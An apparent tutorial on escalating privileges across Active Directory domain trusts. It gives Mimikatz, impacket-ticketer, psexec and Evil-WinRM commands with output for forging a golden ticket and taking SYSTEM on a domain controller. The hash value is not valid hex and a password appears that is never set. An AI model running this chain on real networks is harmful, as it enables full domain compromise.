Abusing Domain Trusts for Privilege Escalation in Active Directory

Introduction

In large enterprise environments, multi-domain Active Directory (AD) setups are common. These environments often rely on domain trusts to facilitate authentication and resource sharing across domains. While domain trusts are essential for operations, they can also introduce significant risks if compromised. Attackers who gain control over one domain can exploit trust relationships to escalate privileges and gain access to other domains.

This article explores the concept of domain trusts, their potential vulnerabilities, and how attackers can abuse these relationships to compromise an entire AD forest. A detailed, step-by-step walkthrough demonstrates how to extract credentials, generate a golden ticket, and leverage trust relationships for privilege escalation.

What Are Domain Trusts?

Domain trusts define the authentication and resource-sharing relationships between two domains in an AD environment. These trusts allow users in one domain to access resources in another, with their credentials verified by the trusting domain.

Types of Trusts

  1. One-Way Trust: Domain A trusts Domain B, but not vice versa.
  2. Two-Way Trust: Both domains trust each other for authentication and resource access.
  3. Transitive Trust: Trust extends across multiple domains, forming a chain of trust relationships.
  4. External Trust: Established between domains in different forests.

Security Implications

  • Trust relationships often involve implicit permissions that can be exploited if one domain is compromised.
  • Misconfigured trusts or insufficient monitoring can allow attackers to escalate privileges from a less secure domain to a more critical one.

The Attack Scenario

Two domains exist in this scenario:

  • ALPHA.CORP.LOCAL (trusted domain)
  • BETA.LOCAL (trusting domain)

The goal is to escalate privileges in the BETA.LOCAL domain by abusing the trust relationship from the compromised ALPHA.CORP.LOCAL domain.

Key Objectives:

  1. Extract the KRBTGT hash from the trusted domain.
  2. Extract trust relationship information.
  3. Generate a golden ticket that includes the Enterprise Admins group from the trusting domain.
  4. Use the golden ticket to gain SYSTEM access on the trusting domain's domain controller.

Step 1: Enumerating Domains and Trusts

Mapping the Domain Relationships

The domain relationships can be mapped using tools like BloodHound. BloodHound provides a clear visualization of trust paths, showing how the two domains interact.

Post image

Post image

From the BloodHound graph, it is evident that:

  • ALPHA.CORP.LOCAL has a trust relationship with BETA.LOCAL.
  • The trust relationship is two-way and transitive.

This confirms the possibility of using credentials from ALPHA.CORP.LOCAL to escalate privileges in BETA.LOCAL.

Step 2: Extracting Credentials from the Trusted Domain

Using Mimikatz to Extract the KRBTGT Hash

With a foothold on the domain controller of ALPHA.CORP.LOCAL, the next step is to extract the KRBTGT hash. The KRBTGT account is critical because it is responsible for encrypting and signing Kerberos tickets.

The following Mimikatz command extracts the KRBTGT hash:

*Evil-WinRM* PS C:\Tools> .\mimikatz.exe "privilege::debug" "lsadump::lsa /user:krbtgt /patch" "exit"

Privilege '20' OK

Domain : ALPHA / S-1-5-21-1004328921-1234567890-5432109876

RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 4a3b2c1d5e6f7g8h9i0j1k2l3m4n5o6p

The extracted NTLM hash (4a3b2c1d5e6f7g8h9i0j1k2l3m4n5o6p) is essential for generating a golden ticket.

Extracting Trust Information

To abuse the trust relationship, the SID of the trusting domain is required. This information can be retrieved with Mimikatz:

*Evil-WinRM* PS C:\Tools> .\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::trust /patch" "exit"

Current domain: ALPHA.CORP.LOCAL (ALPHA / S-1-5-21-1004328921-1234567890-5432109876)

Domain: BETA.LOCAL (BETA / S-1-5-21-9876543210-2345678901-8765432109)
...

The SID of the trusting domain (S-1-5-21-9876543210-2345678901-8765432109) is necessary for crafting the golden ticket.

Step 3: Generating a Golden Ticket

With the KRBTGT hash and domain SID, a golden ticket can be generated to impersonate the Enterprise Admins group in the trusting domain.

The following command generates the golden ticket:

sudo impacket-ticketer -nthash 4a3b2c1d5e6f7g8h9i0j1k2l3m4n5o6p \
    -domain-sid S-1-5-21-1004328921-1234567890-5432109876 \
    -extra-sid S-1-5-21-9876543210-2345678901-8765432109-519 \
    -domain alpha.corp.local \
    Administrator

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for alpha.corp.local/Administrator
[*] Signing/Encrypting final ticket
[*] Saving ticket in Administrator.ccache

The golden ticket is saved as Administrator.ccache.

Step 4: Using the Golden Ticket

Loading the Ticket

The generated ticket is injected into the current session environment using the KRB5CCNAME variable:

export KRB5CCNAME=Administrator.ccache
klist

Ticket cache: FILE:Administrator.ccache
Default principal: Administrator@ALPHA.CORP.LOCAL

Valid starting       Expires              Service principal
11/22/2024 14:01:12  11/20/2034 14:01:12  krbtgt/ALPHA.CORP.LOCAL@ALPHA.CORP.LOCAL
        renew until 11/20/2034 14:01:12

Configuring the Hosts File

Domain controller hostnames and IP addresses are added to the /etc/hosts file for easier resolution:

cat /etc/hosts
...
10.20.30.1    alpha-dc.alpha.corp.local alpha.corp.local
10.20.30.2    beta-dc.beta.local beta.local

Step 5: Exploiting the Trusting Domain

With the golden ticket injected, access to the domain controller in BETA.LOCAL is achieved using Impacket’s PSExec tool:

impacket-psexec alpha.corp.local/Administrator@beta-dc.beta.local -k -no-pass -target-ip beta.local 

[*] Requesting shares on beta.local.....
[*] Found writable share ADMIN$
[*] Uploading file TEMP123.exe
[*] Opening SVCManager on beta.local.....
[*] Creating service TEMP123 on beta.local.....
[*] Starting service TEMP123.....
Microsoft Windows [Version 10.0.20348.887]

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
beta-dc

Interactive Shell Access

For convenience, Evil-WinRM is used to establish an interactive shell on the domain controller:

evil-winrm -i beta.local -u Administrator -p 'NewPassword123!'

*Evil-WinRM* PS C:\Users\Administrator\Documents>

Conclusion

Abusing domain trusts provides attackers with a powerful method for lateral movement and privilege escalation in Active Directory environments. By compromising one domain and leveraging trust relationships, attackers can gain unrestricted access to critical systems in the trusting domain.

Key Recommendations:

  1. Review and Harden Trusts: Regularly audit domain trusts and minimize unnecessary relationships.
  2. Protect the KRBTGT Account: Frequently rotate the KRBTGT password and monitor its usage.
  3. Enable SID Filtering: Prevent misuse of SIDs between trusted domains.
  4. Monitor Kerberos Activity: Set up alerts for unusual ticket generation or usage.

Proactive defense measures and careful monitoring can significantly reduce the risk of domain trust abuse in Active Directory environments.